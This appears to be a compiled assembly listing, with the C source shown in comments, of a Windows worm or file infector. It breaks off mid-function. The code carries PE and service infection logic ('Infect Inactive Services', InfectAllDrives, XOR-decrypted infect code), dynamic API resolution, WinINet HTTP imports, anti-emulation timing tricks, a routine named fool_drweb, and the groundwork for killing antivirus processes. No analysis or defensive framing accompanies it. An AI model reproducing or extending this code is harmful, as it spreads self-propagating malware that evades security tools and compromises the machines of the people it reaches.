"e:\lcc\include\cguid.h" _$M22: .file "e:\lcc\include\objbase.h" _$M23: .file "e:\lcc\include\urlmon.h" _$M24: .file "e:\lcc\include\oleidl.h" _$M25: .file "e:\lcc\include\servprov.h" _$M26: .file "e:\lcc\include\msxml.h" _$M27: .file "e:\lcc\include\oaidl.h" _$M28: .file "e:\lcc\include\msxml.h" _$M29: .file "e:\lcc\include\urlmon.h" _$M30: .file "e:\lcc\include\propidl.h" _$M31: .file "e:\lcc\include\objbase.h" _$M32: .file "e:\lcc\include\oleauto.h" _$M33: .file "e:\lcc\include\ole2.h" _$M34: .file "e:\lcc\include\shlguid.h" _$M35: .file "e:\lcc\include\pshpack1.h" _$M36: .file "e:\lcc\include\shtypes.h" _$M37: .file "e:\lcc\include\pshpack1.h" _$M38: .file "e:\lcc\include\poppack.h" _$M39: .file "e:\lcc\include\shtypes.h" _$M40: .file "e:\lcc\include\pshpack1.h" _$M41: .file "e:\lcc\include\poppack.h" _$M42: .file "e:\lcc\include\shtypes.h" _$M43: .file "e:\lcc\include\pshpack1.h" _$M44: .file "e:\lcc\include\shtypes.h" _$M45: .file "e:\lcc\include\poppack.h" _$M46: .file "e:\lcc\include\shtypes.h" _$M47: .file "e:\lcc\include\shobjidl.h" _$M48: .file "e:\lcc\include\comcat.h" _$M49: .file "e:\lcc\include\shobjidl.h" _$M50: .file "e:\lcc\include\pshpack8.h" _$M51: .file "e:\lcc\include\shobjidl.h" _$M52: .file "e:\lcc\include\poppack.h" _$M53: .file "e:\lcc\include\shobjidl.h" _$M54: .file "e:\lcc\include\pshpack8.h" _$M55: .file "e:\lcc\include\shobjidl.h" _$M56: .file "e:\lcc\include\poppack.h" _$M57: .file "e:\lcc\include\shobjidl.h" _$M58: .file "e:\lcc\include\pshpack8.h" _$M59: .file "e:\lcc\include\shobjidl.h" _$M60: .file "e:\lcc\include\poppack.h" _$M61: .file "e:\lcc\include\shobjidl.h" _$M62: .file "e:\lcc\include\pshpack4.h" _$M63: .file "e:\lcc\include\wininet.h" _$M64: .file "e:\lcc\include\poppack.h" _$M65: .file "e:\lcc\include\shlobj.h" _$M66: .file "e:\lcc\include\pshpack8.h" _$M67: .file "e:\lcc\include\shlobj.h" _$M68: .file "e:\lcc\include\poppack.h" _$M69: .file "e:\lcc\include\shlobj.h" _$M70: .file "e:\lcc\include\pshpack8.h" _$M71: .file "e:\lcc\include\shlobj.h" _$M72: .file "e:\lcc\include\poppack.h" _$M73: .file "e:\lcc\include\shlobj.h" _$M74: .file "e:\lcc\include\pshpack8.h" _$M75: .file "e:\lcc\include\shlobj.h" _$M76: .file "e:\lcc\include\poppack.h" _$M77: .file "e:\lcc\include\shlobj.h" _$M78: .file "e:\lcc\include\pshpack8.h" _$M79: .file "e:\lcc\include\shlobj.h" _$M80: .file "e:\lcc\include\poppack.h" _$M81: .file "e:\lcc\include\shlobj.h" _$M82: .file "e:\lcc\include\pshpack8.h" _$M83: .file "e:\lcc\include\shlobj.h" _$M84: .file "e:\lcc\include\poppack.h" _$M85: .file "e:\lcc\include\shlobj.h" _$M86: .file "e:\lcc\include\pshpack8.h" _$M87: .file "e:\lcc\include\shlobj.h" _$M88: .file "e:\lcc\include\poppack.h" _$M89: .file "e:\lcc\include\shlobj.h" _$M90: .file "e:\lcc\include\pshpack8.h" _$M91: .file "e:\lcc\include\shlobj.h" _$M92: .file "e:\lcc\include\poppack.h" _$M93: .file "e:\lcc\include\shlobj.h" _$M94: .file "e:\lcc\include\pshpack1.h" _$M95: .file "e:\lcc\include\shlobj.h" _$M96: .file "e:\lcc\include\poppack.h" _$M97: .file "e:\lcc\include\pshpack8.h" _$M98: .file "e:\lcc\include\shlobj.h" _$M99: .file "e:\lcc\include\poppack.h" _$M100: .file "e:\lcc\include\shlobj.h" _$M101: .file "e:\lcc\include\pshpack8.h" _$M102: .file "e:\lcc\include\shlobj.h" _$M103: .file "e:\lcc\include\poppack.h" _$M104: .file "e:\lcc\include\shlobj.h" _$M105: .file "e:\lcc\include\pshpack8.h" _$M106: .file "e:\lcc\include\shlobj.h" _$M107: .file "e:\lcc\include\poppack.h" _$M108: .file "e:\lcc\include\shlobj.h" _$M109: .file "e:\lcc\include\pshpack8.h" _$M110: .file "e:\lcc\include\shlobj.h" _$M111: .file "e:\lcc\include\poppack.h" _$M112: .file "e:\lcc\include\shlobj.h" _$M113: .file "e:\lcc\include\pshpack8.h" _$M114: .file "e:\lcc\include\shlobj.h" _$M115: .file "e:\lcc\include\poppack.h" _$M116: .file "e:\lcc\include\shlobj.h" _$M117: .file "e:\lcc\include\pshpack8.h" _$M118: .file "e:\lcc\include\shlobj.h" _$M119: .file "e:\lcc\include\poppack.h" _$M120: .file "e:\lcc\include\shlobj.h" _$M121: .file "e:\lcc\include\wincrypt.h" _$M122: .file "e:\lcc\include\winsvc.h" _$M123: .file "e:\lcc\include\tlhelp32.h" _$M124: .file "e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c" _$M125: .file "e:\projects\progs\petrosjan\bjwj\worm\_api\kernel32.h" _$M126: .data .globl __KERNEL32 .align 2 .type __KERNEL32,object __KERNEL32: .long 0x0 .globl _padrK32a .align 2 .type _padrK32a,object _padrK32a: .long __GetModuleHandle .long __LoadLibrary .text ; 1 #include <windows.h> ; 2 #include <stdio.h> ; 3 #include <shlobj.h> ; 4 #include <wincrypt.h> ; 5 #include <winsvc.h> ; 6 #include <tlhelp32.h> // for av process kill ; 7 ; 8 void InitAPIbyStr(DWORD *adr[], HANDLE h, char *data); ; 9 void UnprotectFile(char *fname); ; 10 void rscan(char *st, DWORD dr, BOOL LNK); ; 11 ; 12 #include "includes.h" ; 13 ; 14 HWND hw; ; 15 HINSTANCE hI; ; 16 ; 17 LRESULT CALLBACK WndProc(HWND hwnd, UINT m, WPARAM wp, LPARAM lp) ; 18 { ; 19 switch(m) ; 20 { ; 21 default: return (_DefWindowProc(hwnd, m, wp, lp)); ; 22 } ; 23 } ; 24 ; 25 ; 26 /////////////////////////////////////////////////////////////// ; 27 // check other copies of us (version high or equ) ///////////// ; 28 ; 29 #define NO_OTHER 0 ; 30 #define EQU_DETECTED 1 ; 31 #define HI_DETECTED 2 ; 32 ; 33 BYTE CheckVersion() ; 34 { ; 35 // check for version mutexes ; 36 ; 37 char mtx[0xFF]; //@S ; 38 DWORD v; //@E ; 39 ; 40 for (v = VERSION; v < 100; v++) ; 41 { ; 42 HANDLE m; ; 43 ; 44 _sprintf(mtx, "%s_mtx%u", CLASSNAME, v); ; 45 ; 46 #ifdef dbgdbg ; 47 adddeb("CHECKING '%s' , my ver is %u",mtx,VERSION); ; 48 #endif ; 49 ; 50 if((m = _OpenMutex(SYNCHRONIZE, FALSE, mtx))) ; 51 { ; 52 _CloseHandle(m); ; 53 if (/*@S==*/v == VERSION/*@E*/) ; 54 return EQU_DETECTED; ; 55 else ; 56 return HI_DETECTED; ; 57 } ; 58 } ; 59 ; 60 return NO_OTHER; ; 61 } ; 62 ; 63 /////////////////////////////////////////////////////////////////////////// ; 64 // Creates or Opens 2 mutexes, waits for release of mtxv mutex //////////// ; 65 ; 66 void CreateOrOpenMutexes_WaitForMtx2Release(char *mtx,char *mtxv) ; 67 { ; 68 #ifdef SKIP_MTX ; 69 return; ; 70 #endif ; 71 ; 72 HANDLE hcm = _CreateMutex(NULL, FALSE, mtx); //@S ; 73 HANDLE hcmv = _CreateMutex(NULL, TRUE, mtxv); //@E //initial owner - current thread ; 74 ; 75 #ifdef dbgdbg ; 76 if (hcm==NULL) { adddeb("### CANT CREATE/OPEN MUTEX1 '%s' - (if usermode, mutex1==bugfix mutex & ver1 in services found)",mtx); } ; 77 else { adddeb("### mutex1 '%s' created/opened:%X",mtx,hcm); } ; 78 ; 79 if (hcmv==NULL) { adddeb("### CANT CREATE/OPEN MUTEX2 '%s' - ver%u in services? can be bug in CheckService(), ver>1 shouldn't make such mutex from service, ExitThread(1)",mtxv,VERSION); } ; 80 else { adddeb("### mutex2 '%s' created/opened:%X",mtxv,hcmv); } ; 81 #endif ; 82 ; 83 if (/*@S==*/hcmv == NULL/*@E*/) _ExitThread(1); ; 84 ; 85 ; 86 //--- wait for mutex release, if current thread is initial owner, no waiting ; 87 ; 88 #ifdef dbgdbg ; 89 adddeb("### WaitForSingleObject for mutex '%s'...",mtxv); ; 90 #endif ; 91 ; 92 _WaitForSingleObject(hcmv, 0xFFFFFFFF); ; 93 ; 94 #ifdef dbgdbg ; 95 adddeb("### FINISHED WaitForSingleObject for mutex '%s'",mtxv); ; 96 #endif ; 97 } .type _InitKernel32a,function _InitKernel32a: ; 98 .line 98 ; 99 .line 99 pushl $_$262 pushl __KERNEL32 pushl $_padrK32a call _InitAPIbyStr addl $12,%esp ; 100 /////////////////////////////////////////////////////////////// ; 101 // Init infcode, decrypt dll, ... ///////////////////////////// ; 102 ; 103 void InitInfectData(DWORD ticks, DWORD START_SVC) ; 104 { .line 104 ret _$263: .size _InitKernel32a,_$263-_InitKernel32a .globl _InitKernel32a .data .globl _padrK32 .align 2 .type _padrK32,object _padrK32: .long __OpenMutex .long __CloseHandle .long __ExitThread .long __CreateFile .long __DeleteFile .long __SetFilePointer .long __WriteFile .long __GetFileSize .long __lstrlenW .long __WinExec .long __WideCharToMultiByte .long __MultiByteToWideChar .long __GetTempPath .long __ReadFile .long __VirtualAlloc .long __VirtualFree .long __LocalAlloc .long __LocalFree .long __GetSystemTime .long __ZeroMemory .long __FindFirstFile .long __FindNextFile .long __FindClose .long __GetDriveType .long __GetExitCodeThread .long __SetErrorMode .long __GetDiskFreeSpace .long __CopyFile .long __CreateMutex .long __GetModuleFileName .long __GetSystemDirectory .long ___InterlockedIncrement .long ___InterlockedDecrement .long __GetVolumeInformation .long __CompareFileTime .long __FileTimeToSystemTime .long __GetVersionEx .long __GetLocaleInfo .long __OpenProcess .long __GetCurrentProcessId .long __GetCurrentThreadId .long __FreeEnvironmentStrings .long __GetEnvironmentStrings .long __GetComputerName .long __WaitForSingleObject .long __FreeLibrary .long __CreateDirectory .long __PeekNamedPipe .long __CreatePipe .long __CreateProcess .long __GetExitCodeProcess .long __IsBadStringPtrW .long __TerminateThread .long __CreateToolhelp32Snapshot .long __Process32First .long __Process32Next .long __TerminateProcess .long __lstrlen .long __IsBadReadPtr .long __OutputDebugStringA .long __lstrcatA .text ; 105 DWORD len; ; 106 //@S ; 107 _srand(/*@S+*/ticks + VERSION/*@E*/); ; 108 .type _InitKernel32,function _InitKernel32: ; 109 #ifdef RUNLINE .line 109 ; 110 M_XorData(InfectPE,bb0,ii0,qq0,"D"); //decrypt .line 110 pushl $_$265 pushl __KERNEL32 pushl $_padrK32 call _InitAPIbyStr addl $12,%esp ; 111 #endif ; 112 //@E ; 113 ; 114 //----- NORMAL VIRUS MODE, dll content is taken from memory ; 115 ; 116 #ifndef EXEFILE ; 117 // DWORD len; ; 118 dll_mem = GetDll(&len); ; 119 #endif ; 120 ; 121 //----- CURE MODE ; 122 ; 123 #ifdef AV_CURE ; 124 CloseCreateThreadEco(InfectAllDrives); ; 125 cure_loop:; __sleep(0); goto loop; ; 126 #endif ; 127 ; 128 //----- EXEFILE MODE - load dll from kkqvx.dll, show warnings ; 129 ; 130 #ifdef EXEFILE ; 131 { ; 132 BYTE dll[200000]; ; 133 len = 0; // !!! IMPORTANT !!! dll_len==0 is flag NOT_INFECT for InfectPE routine ; 134 ; 135 HANDLE h=_CreateFile("kkqvx.dll", GENERIC_READ | FILE_SHARE_READ, 0, NULL, OPEN_EXISTING, 0, NULL); ; 136 if (h != INVALID_HANDLE_VALUE) ; 137 { ; 138 _MessageBox(NULL,"INFECT MODE ON: found kkqvx.dll, kill process now if launched by mistake",NULL,0); ; 139 _MessageBox(NULL,"INFECT MODE ON: the last warning! Are u sure? Kill process if NO.",NULL,0); ; 140 _ReadFile(h, dll, sizeof(dll), &len, NULL); ; 141 _CloseHandle(h); ; 142 } ; 143 else { len=0; dll_len=0; _MessageBox(NULL,"no kkqvx.dll, cant infect",NULL,0); } ; 144 ; 145 dll_mem = dll; ; 146 } ; 147 #endif ; 148 ; 149 //----- ; 150 ; 151 dll_len = len; //@S ; 152 InitAVSVC(); //@E ; 153 ; 154 #ifdef dbgdbg ; 155 adddeb("InitInfectData (all hex) dll_mem:%X dll_len:%X",dll_mem,dll_len); ; 156 #endif ; 157 ; 158 ProcessInactiveServices(START_SVC); // Infect Inactive Services ; 159 } ; 160 ; 161 /////////////////////////////////////////////////////////////// ; 162 // Service mode - we are in infected service ////////////////// ; 163 ; 164 void ServiceMode(DWORD ticks) .line 164 ret _$266: .size _InitKernel32,_$266-_InitKernel32 .globl _InitKernel32 .file "e:\projects\progs\petrosjan\bjwj\worm\_api\crtdll.h" _$M127: .data .globl __CRTDLL .align 2 .type __CRTDLL,object __CRTDLL: .long 0x0 .text .type _InitCRTDLL_handle,function _InitCRTDLL_handle: .line 31 .line 32 pushl $_$268 call *__GetModuleHandle movl %eax,__CRTDLL .line 33 test %eax,%eax jne _$269 pushl $_$268 call *__LoadLibrary movl %eax,__CRTDLL _$269: .line 34 ret _$273: .size _InitCRTDLL_handle,_$273-_InitCRTDLL_handle .globl _InitCRTDLL_handle .data .globl _padrCRT .align 2 .type _padrCRT,object _padrCRT: .long ___toupper .long ___sleep .long __sprintf .long __atoi .long __free .long __malloc .long __memcmp .long __memcpy .long __memset .long __rand .long __srand .long __strcat .long __vsprintf .long __wcslen .text .type _InitCRTDLL,function _InitCRTDLL: .line 39 .line 40 call _InitCRTDLL_handle .line 42 pushl $_$275 pushl __CRTDLL pushl $_padrCRT call _InitAPIbyStr addl $12,%esp .line 61 ret _$276: .size _InitCRTDLL,_$276-_InitCRTDLL .globl _InitCRTDLL .file "e:\projects\progs\petrosjan\bjwj\worm\_api\user32.h" _$M128: .data .globl __USER32 .align 2 .type __USER32,object __USER32: .long 0x0 .globl _padrU32 .align 2 .type _padrU32,object _padrU32: .long __CallWindowProc .long __CreateWindowEx .long __DefWindowProc .long __DestroyWindow .long __DispatchMessage .long __GetClassName .long __GetForegroundWindow .long __GetMessage .long __GetWindow .long __GetWindowLong .long __GetWindowRect .long __GetWindowText .long __MessageBox .long __MoveWindow .long __RegisterClass .long __SendMessage .long __SetFocus .long __SetWindowLong .long __SetWindowText .long __ShowWindow .long __TranslateMessage .long __FindWindowEx .long __EnumDesktopWindows .long __OemToChar .long __CharUpperBuff .text .type _InitUser32,function _InitUser32: .line 45 .line 46 pushl $_$278 call *__GetModuleHandle movl %eax,__USER32 .line 47 test %eax,%eax jne _$279 pushl $_$278 call *__LoadLibrary movl %eax,__USER32 _$279: .line 49 pushl $_$281 pushl __USER32 pushl $_padrU32 call _InitAPIbyStr addl $12,%esp .line 80 ret _$284: .size _InitUser32,_$284-_InitUser32 .globl _InitUser32 .file "e:\projects\progs\petrosjan\bjwj\worm\_api\sfc.h" _$M129: .data .globl __SFC .align 2 .type __SFC,object __SFC: .long 0x0 .text .type _InitSFC,function _InitSFC: .line 9 .line 10 pushl $_$286 call *__GetModuleHandle movl %eax,__SFC .line 11 test %eax,%eax jne _$287 pushl $_$286 call *__LoadLibrary movl %eax,__SFC _$287: .line 12 cmpl $0,__SFC je _$285 _$289: .line 14 pushl $_$291 pushl __SFC call *__GetProcAddress movl %eax,__SfcIsFileProtected _$285: .line 15 ret _$295: .size _InitSFC,_$295-_InitSFC .globl _InitSFC .file "e:\projects\progs\petrosjan\bjwj\worm\_api\sfc_os.h" _$M130: .data .globl __SFC_OS .align 2 .type __SFC_OS,object __SFC_OS: .long 0x0 .text .type _InitSFC_OS,function _InitSFC_OS: .line 9 .line 10 pushl $_$297 call *__GetModuleHandle movl %eax,__SFC_OS .line 11 test %eax,%eax jne _$298 pushl $_$297 call *__LoadLibrary movl %eax,__SFC_OS _$298: .line 12 cmpl $0,__SFC_OS je _$296 _$300: .line 14 pushl $0x5 pushl __SFC_OS call *__GetProcAddress movl %eax,__SfcFileException _$296: .line 15 ret _$305: .size _InitSFC_OS,_$305-_InitSFC_OS .globl _InitSFC_OS .file "e:\projects\progs\petrosjan\bjwj\worm\_api\shell32.h" _$M131: .data .globl __SHELL32 .align 2 .type __SHELL32,object __SHELL32: .long 0x0 .text .type _InitShell32,function _InitShell32: .line 9 .line 10 pushl $_$307 call *__GetModuleHandle movl %eax,__SHELL32 .line 11 test %eax,%eax jne _$308 pushl $_$307 call *__LoadLibrary movl %eax,__SHELL32 _$308: .line 13 pushl $_$310 pushl __SHELL32 call *__GetProcAddress movl %eax,__SHGetFolderPath .line 14 ret _$314: .size _InitShell32,_$314-_InitShell32 .globl _InitShell32 .file "e:\projects\progs\petrosjan\bjwj\worm\_api\advapi32.h" _$M132: .data .globl __ADVAPI32 .align 2 .type __ADVAPI32,object __ADVAPI32: .long 0x0 .globl _padrA32 .align 2 .type _padrA32,object _padrA32: .long __RegOpenKeyEx .long __RegQueryValueEx .long __RegCreateKeyEx .long __RegSetValueEx .long __RegCloseKey .long __GetUserName .long __OpenProcessToken .long __LookupPrivilegeValue .long __GetTokenInformation .long __AdjustTokenPrivileges .long __InitializeSecurityDescriptor .long __SetSecurityDescriptorDacl .long __SetSecurityDescriptorOwner .long __GetSidIdentifierAuthority .long __GetSidSubAuthority .long __GetSidSubAuthorityCount .long __SetFileSecurity .long __CloseServiceHandle .long __QueryServiceConfig .long __EnumServicesStatus .long __OpenService .long __OpenSCManager .long __StartService .long __ChangeServiceConfig .long __CryptAcquireContext .long __CryptCreateHash .long __CryptHashData .long __CryptGetHashParam .long __CryptDestroyHash .long __CryptReleaseContext .long __ControlService .long __RegEnumKeyEx .long __RegSetKeySecurity .long __CryptDecrypt .long __CryptDestroyKey .long __CryptReleaseContext .long __CryptAcquireContextA .long __CryptImportKey .long __CryptSetKeyParam .long __CryptSetKeyParam .long __CryptDestroyKey .long __CryptReleaseContext .text .type _InitADVAPI32,function _InitADVAPI32: .line 53 .line 54 pushl $_$316 call *__GetModuleHandle movl %eax,__ADVAPI32 .line 55 test %eax,%eax jne _$317 pushl $_$316 call *__LoadLibrary movl %eax,__ADVAPI32 _$317: .line 57 pushl $_$319 pushl __ADVAPI32 pushl $_padrA32 call _InitAPIbyStr addl $12,%esp .line 78 ret _$322: .size _InitADVAPI32,_$322-_InitADVAPI32 .globl _InitADVAPI32 .file "e:\projects\progs\petrosjan\bjwj\worm\_api\_api.h" _$M133: .type _InitAPIbyStr,function _InitAPIbyStr: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 16 .line 17 movl $0,-4(%ebp) .line 18 movl $0,-8(%ebp) .line 20 movl 16(%ebp),%edi cmpb $47,(,%edi) jne _$324 .line 21 movl $7,-4(%ebp) movl $7,-8(%ebp) _$324: .line 23 _$326: .line 24 movl -4(%ebp),%edi movl 16(%ebp),%esi cmpb $0,(%esi,%edi) jne _$327 jmp _$323 _$327: .line 25 movl -4(%ebp),%edi movl 16(%ebp),%esi cmpb $47,(%esi,%edi) jne _$329 movl -4(%ebp),%edi movl 16(%ebp),%esi movb $0,(%esi,%edi) addl $6,-4(%ebp) _$329: .line 27 movl -4(%ebp),%edi movl 16(%ebp),%esi cmpb $124,(%esi,%edi) jne _$331 .line 29 movl $0,-12(%ebp) .line 30 movl -4(%ebp),%edi movl 16(%ebp),%esi movb $0,(%esi,%edi) .line 32 movl -8(%ebp),%edi movl 16(%ebp),%esi movsbl (%esi,%edi),%ebx imul $10,%ebx,%edi subl $480,%edi addl %edi,-12(%ebp) .line 33 movl -8(%ebp),%edi addl $1,%edi movl 16(%ebp),%esi movsbl (%esi,%edi),%edi subl $48,%edi addl %edi,-12(%ebp) .line 37 movl -8(%ebp),%edi addl $2,%edi addl 16(%ebp),%edi pushl %edi pushl 12(%ebp) call *__GetProcAddress movl -12(%ebp),%esi movl 8(%ebp),%ebx movl (%ebx,%esi,4),%esi movl %eax,(,%esi) .line 40 movl -4(%ebp),%edi addl $1,%edi movl %edi,-8(%ebp) _$331: .line 43 incl -4(%ebp) .line 45 jmp _$326 _$323: .line 46 popl %edi popl %esi popl %ebx leave ret _$334: .size _InitAPIbyStr,_$334-_InitAPIbyStr .globl _InitAPIbyStr .file "e:\projects\progs\petrosjan\bjwj\worm\_api\wininet.h" _$M134: .data .globl __WININET .align 2 .type __WININET,object __WININET: .long 0x0 .globl _padrWininet .align 2 .type _padrWininet,object _padrWininet: .long __InternetReadFile .long __InternetOpenA .long __InternetConnectA .long __HttpOpenRequestA .long __HttpAddRequestHeadersA .long __HttpSendRequestA .long __InternetCloseHandle .text .type _InitWininet,function _InitWininet: .line 16 .line 17 pushl $_$336 call *__GetModuleHandle movl %eax,__WININET .line 18 test %eax,%eax jne _$337 pushl $_$336 call *__LoadLibrary movl %eax,__WININET _$337: .line 20 pushl $_$339 pushl __WININET pushl $_padrWininet call _InitAPIbyStr addl $12,%esp .line 21 ret _$342: .size _InitWininet,_$342-_InitWininet .globl _InitWininet .file "e:\projects\progs\petrosjan\bjwj\worm\_api\urlmon.h" _$M135: .data .globl __URLMON .align 2 .type __URLMON,object __URLMON: .long 0x0 .globl _padrUrlmon .align 2 .type _padrUrlmon,object _padrUrlmon: .long __ObtainUserAgentString .text .type _InitUrlmon,function _InitUrlmon: .line 9 .line 10 pushl $_$344 call *__GetModuleHandle movl %eax,__URLMON .line 11 test %eax,%eax jne _$345 pushl $_$344 call *__LoadLibrary movl %eax,__URLMON _$345: .line 13 pushl $_$347 pushl __URLMON pushl $_padrUrlmon call _InitAPIbyStr addl $12,%esp .line 14 ret _$350: .size _InitUrlmon,_$350-_InitUrlmon .globl _InitUrlmon .file "e:\projects\progs\petrosjan\bjwj\worm\_api\crypt32.h" _$M136: .data .globl __CRYPT32 .align 2 .type __CRYPT32,object __CRYPT32: .long 0x0 .globl _padrCrypt32 .align 2 .type _padrCrypt32,object _padrCrypt32: .long __CryptStringToBinaryA .text .type _InitCrypt32,function _InitCrypt32: .line 9 .line 10 pushl $_$352 call *__GetModuleHandle movl %eax,__CRYPT32 .line 11 test %eax,%eax jne _$353 pushl $_$352 call *__LoadLibrary movl %eax,__CRYPT32 _$353: .line 13 pushl $_$355 pushl __CRYPT32 pushl $_padrCrypt32 call _InitAPIbyStr addl $12,%esp .line 14 ret _$358: .size _InitCrypt32,_$358-_InitCrypt32 .globl _InitCrypt32 .file "e:\projects\progs\petrosjan\bjwj\worm\_antiav\_antiemul.c" _$M137: .type _GetTicks1,function _GetTicks1: pushl %ebp movl %esp,%ebp pushl %ecx pushl %edi .line 15 andl $0,_EMUL .line 16 call *__GetTickCount movl $100,%ecx movl $0x51eb851f,%edx mull %edx shrl $5,%edx movl %edx,%eax movl %eax,-4(%ebp) movl %eax,_ticks1 .line 17 popl %edi leave ret _$362: .size _GetTicks1,_$362-_GetTicks1 .globl _GetTicks1 ; ticks3 --> %esi .type _GetTicks2,function _GetTicks2: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %esi pushl %edi .line 23 .line 26 call *__GetTickCount movl $100,%ecx movl $0x51eb851f,%edx mull %edx shrl $5,%edx movl %edx,-4(%ebp) movl %edx,_ticks2 .line 30 call *__GetTickCount movl $100,%ecx movl $0x51eb851f,%edx mull %edx shrl $5,%edx movl %edx,-8(%ebp) movl %edx,%edi movl %edi,%esi .line 31 movl %esi,%eax subl _ticks2,%eax cmpl $1,%eax jbe _$364 .line 32 movl $4096,_EMUL _$364: .line 33 popl %edi popl %esi leave ret _$370: .size _GetTicks2,_$370-_GetTicks2 .globl _GetTicks2 ; q --> %edi ; zad --> %esi .type _zaderjka_cyklom,function _zaderjka_cyklom: .line 39 movl 4(%esp),%edx .line 41 xor %ecx,%ecx _$372: incl %edx incl %ecx cmpl $0x186a0,%ecx jb _$372 .line 42 movl %edx,%eax .line 43 ret _$376: .size _zaderjka_cyklom,_$376-_zaderjka_cyklom .globl _zaderjka_cyklom ; x --> %esi .type _AntiEmulator,function _AntiEmulator: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %esi pushl %edi .line 55 _$378: .line 62 call _GetTicks2 .line 64 pushl -8(%ebp) call _zaderjka_cyklom popl %ecx movl %eax,-8(%ebp) .line 66 movl _ticks2,%eax subl 8(%ebp),%eax movl %eax,-4(%ebp) .line 67 movl _ticks2,%eax movl %eax,%esi subl _ticks1,%esi .line 70 movl _ticks1,%eax cmpl %eax,-4(%ebp) jb _$378 .line 71 _$379: .line 73 movl %esi,%eax movl 8(%ebp),%ecx xorl %edx,%edx divl %ecx movl %eax,-12(%ebp) movl %eax,%esi .line 79 .line 80 popl %edi popl %esi leave ret _$383: .size _AntiEmulator,_$383-_AntiEmulator .globl _AntiEmulator ; i --> %edi ; new_x --> %esi ; x --> %ebx .type _fool_drweb,function _fool_drweb: pushl %ebx .line 89 movl 8(%esp),%ebx .line 90 movl %ebx,%edx addl $8192,%edx .line 92 xor %ecx,%ecx _$385: .line 94 movl %ebx,%edx .line 92 incl %ecx cmpl $0x5f5e100,%ecx jb _$385 .line 97 movl %edx,%eax .line 98 popl %ebx ret _$389: .size _fool_drweb,_$389-_fool_drweb .globl _fool_drweb .file "e:\projects\progs\petrosjan\bjwj\worm\_strings\_serstr.c" _$M138: ; w --> %edi ; l2 --> %esi ; e --> %ebx .type _serstr,function _serstr: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 6 .line 10 andl $0,-8(%ebp) .line 12 movl 8(%ebp),%eax movl %eax,%ecx orl $-1,%eax _$strlen0: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen0 movl %eax,-12(%ebp) .line 13 movl 12(%ebp),%eax leal (,%eax),%ecx orl $-1,%eax _$strlen1: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen1 movl %eax,%esi .line 15 movl $0,-4(%ebp) jmp _$394 _$391: .line 17 xor %ebx,%ebx .line 18 movl %ebx,%edi jmp _$398 _$395: .line 20 movl -4(%ebp),%eax addl %edi,%eax movl 8(%ebp),%edx movsbl (%edx,%eax),%eax movl 12(%ebp),%edx movsbl (%edx,%edi),%edx cmpl %edx,%eax jne _$397 incl %ebx .line 21 cmpl %esi,%ebx jne _$401 incl -8(%ebp) movl 16(%ebp),%eax cmpl %eax,-8(%ebp) jne _$401 movl -4(%ebp),%eax jmp _$390 _$401: .line 22 .line 18 incl %edi _$398: cmpl %esi,%edi jb _$395 _$397: .line 23 .line 15 incl -4(%ebp) _$394: movl -12(%ebp),%eax cmpl %eax,-4(%ebp) jb _$391 .line 25 movl $65535,%eax _$390: .line 26 popl %edi popl %esi popl %ebx leave ret _$407: .size _serstr,_$407-_serstr .globl _serstr .file "e:\projects\progs\petrosjan\bjwj\worm\_strings\_rndstr.c" _$M139: ; q --> %esi ; s --> %ebx .type _rndstr,function _rndstr: pushl %ebp movl %esp,%ebp pushl %ebx pushl %esi pushl %edi .line 7 movl 8(%ebp),%ebx .line 9 xor %esi,%esi jmp _$412 _$409: call *__rand movl $274877907,%edx pushl %ecx movl %eax,%ecx imull %edx sarl $7,%edx sarl $31,%ecx subl %ecx,%edx movl %edx,%eax popl %ecx movl %eax,%edi addl $97,%edi movl %di,%dx movb %dl,(%ebx,%esi) incl %esi _$412: cmpl 12(%ebp),%esi jl _$409 .line 10 movl 12(%ebp),%eax movb $0,(%ebx,%eax) .line 11 movl %ebx,%eax .line 12 popl %edi popl %esi popl %ebx popl %ebp ret _$414: .size _rndstr,_$414-_rndstr .globl _rndstr .file "e:\projects\progs\petrosjan\bjwj\worm\_strings\_lowerstr.c" _$M140: ; q --> %edi ; s --> %esi ; l --> %ebx .type _lowerstr,function _lowerstr: pushl %ebx pushl %esi pushl %edi .line 6 movl 16(%esp),%esi .line 9 movl %esi,%ecx orl $-1,%eax _$strlen2: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen2 movl %eax,%ebx .line 11 movl $0,%edi jmp _$419 _$416: .line 13 movb (%esi,%edi),%al cmpb $65,%al jle _$420 cmpb $90,%al jge _$420 movl 20(%esp),%eax movsbl (%esi,%edi),%edx addl $32,%edx movb %dl,(%eax,%edi) jmp _$421 _$420: movl 20(%esp),%eax movb (%esi,%edi),%dl movb %dl,(%eax,%edi) _$421: .line 14 .line 11 incl %edi _$419: cmpl %ebx,%edi jb _$416 .line 16 popl %edi popl %esi popl %ebx ret _$424: .size _lowerstr,_$424-_lowerstr .globl _lowerstr .file "e:\projects\progs\petrosjan\bjwj\worm\_glob.c" _$M141: .data .globl _SYSTEM_NT .align 2 .type _SYSTEM_NT,object _SYSTEM_NT: .long 0 .globl _MAJORW .align 2 .type _MAJORW,object _MAJORW: .long 0x0 .text .type _isSystemNT,function _isSystemNT: pushl %ebp movl %esp,%ebp subl $148,%esp .line 20 .line 23 cmpl $0,_MAJORW je _$426 movl _SYSTEM_NT,%eax jmp _$425 _$426: .line 25 movl $148,-148(%ebp) .line 26 leal -148(%ebp),%eax pushl %eax call *__GetVersionEx .line 28 cmpl $2,-132(%ebp) jne _$428 movl $1,_SYSTEM_NT _$428: .line 29 movl -144(%ebp),%eax movl %eax,_MAJORW .line 36 movl _SYSTEM_NT,%eax _$425: .line 37 leave ret _$432: .size _isSystemNT,_$432-_isSystemNT .globl _isSystemNT .type _CloseCreateThreadEco,function _CloseCreateThreadEco: pushl %ebp movl %esp,%ebp pushl %ecx .line 43 .line 45 leal -4(%ebp),%eax pushl %eax pushl $0 pushl $0 pushl 8(%ebp) pushl $0 pushl $0 call *__CreateThread pushl %eax call *__CloseHandle .line 46 leave ret _$436: .size _CloseCreateThreadEco,_$436-_CloseCreateThreadEco .globl _CloseCreateThreadEco .file "e:\projects\progs\petrosjan\bjwj\worm\_strings\_my_strcpy.c" _$M142: ; q --> %edi ; s2 --> %esi .type 